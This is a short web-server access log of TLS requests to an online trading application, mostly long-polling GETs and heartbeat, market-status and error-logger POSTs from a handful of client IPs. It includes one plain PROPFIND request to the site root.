[09/Jan/2026:10:01:36 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924380028 HTTP/1.1" -
[09/Jan/2026:10:01:36 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[09/Jan/2026:10:01:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924366816 HTTP/1.1" -
[09/Jan/2026:10:01:39 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924368054 HTTP/1.1" -
[09/Jan/2026:10:01:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924370756 HTTP/1.1" -
[09/Jan/2026:10:01:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924385101 HTTP/1.1" -
[09/Jan/2026:10:01:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924371855 HTTP/1.1" -
[09/Jan/2026:10:01:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924375873 HTTP/1.1" -
[09/Jan/2026:10:01:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:01:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:01:45 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924374053 HTTP/1.1" -
[09/Jan/2026:10:01:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924390127 HTTP/1.1" -
[09/Jan/2026:10:01:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924376900 HTTP/1.1" -
[09/Jan/2026:10:01:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924381162 HTTP/1.1" -
[09/Jan/2026:10:01:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924395157 HTTP/1.1" -
[09/Jan/2026:10:01:51 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924380052 HTTP/1.1" -
[09/Jan/2026:10:01:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924381932 HTTP/1.1" -
[09/Jan/2026:10:01:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:01:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:01:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:01:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:01:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:01:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:01:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924386301 HTTP/1.1" -
[09/Jan/2026:10:01:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924400220 HTTP/1.1" -
[09/Jan/2026:10:01:57 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924386054 HTTP/1.1" -
[09/Jan/2026:10:01:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924386970 HTTP/1.1" -
[09/Jan/2026:10:01:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924391450 HTTP/1.1" -
[09/Jan/2026:10:02:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924405243 HTTP/1.1" -
[09/Jan/2026:10:02:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:02:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:02:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:02:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:02:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924392012 HTTP/1.1" -
[09/Jan/2026:10:02:03 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924392052 HTTP/1.1" -
[09/Jan/2026:10:02:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924396588 HTTP/1.1" -
[09/Jan/2026:10:02:06 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924410281 HTTP/1.1" -
[09/Jan/2026:10:02:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924397057 HTTP/1.1" -
[09/Jan/2026:10:02:09 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924398054 HTTP/1.1" -
[09/Jan/2026:10:02:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924401676 HTTP/1.1" -
[09/Jan/2026:10:02:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924415343 HTTP/1.1" -
[09/Jan/2026:10:02:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924402093 HTTP/1.1" -
[09/Jan/2026:10:02:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:02:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:02:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924406732 HTTP/1.1" -
[09/Jan/2026:10:02:15 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924404052 HTTP/1.1" -
[09/Jan/2026:10:02:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924420422 HTTP/1.1" -
[09/Jan/2026:10:02:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924407137 HTTP/1.1" -
[09/Jan/2026:10:02:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924411862 HTTP/1.1" -
[09/Jan/2026:10:02:21 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924410053 HTTP/1.1" -
[09/Jan/2026:10:02:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924425482 HTTP/1.1" -
[09/Jan/2026:10:02:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:02:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:02:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924412168 HTTP/1.1" -
[09/Jan/2026:10:02:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:02:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:02:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:02:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:02:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924417056 HTTP/1.1" -
[09/Jan/2026:10:02:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924430553 HTTP/1.1" -
[09/Jan/2026:10:02:27 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924416052 HTTP/1.1" -
[09/Jan/2026:10:02:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924417187 HTTP/1.1" -
[09/Jan/2026:10:02:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:02:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:02:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:02:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:02:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924422196 HTTP/1.1" -
[09/Jan/2026:10:02:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:02:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924435579 HTTP/1.1" -
[09/Jan/2026:10:02:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:02:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:02:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:02:33 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924422052 HTTP/1.1" -
[09/Jan/2026:10:02:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924422207 HTTP/1.1" -
[09/Jan/2026:10:02:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924427334 HTTP/1.1" -
[09/Jan/2026:10:02:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924440615 HTTP/1.1" -
[09/Jan/2026:10:02:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924427227 HTTP/1.1" -
[09/Jan/2026:10:02:39 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924428051 HTTP/1.1" -
[09/Jan/2026:10:02:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924432389 HTTP/1.1" -
[09/Jan/2026:10:02:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924445677 HTTP/1.1" -
[09/Jan/2026:10:02:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924432274 HTTP/1.1" -
[09/Jan/2026:10:02:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:02:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:02:45 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924434055 HTTP/1.1" -
[09/Jan/2026:10:02:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924437456 HTTP/1.1" -
[09/Jan/2026:10:02:47 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924450742 HTTP/1.1" -
[09/Jan/2026:10:02:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924437321 HTTP/1.1" -
[09/Jan/2026:10:02:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924442585 HTTP/1.1" -
[09/Jan/2026:10:02:51 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924440052 HTTP/1.1" -
[09/Jan/2026:10:02:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924455814 HTTP/1.1" -
[09/Jan/2026:10:02:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
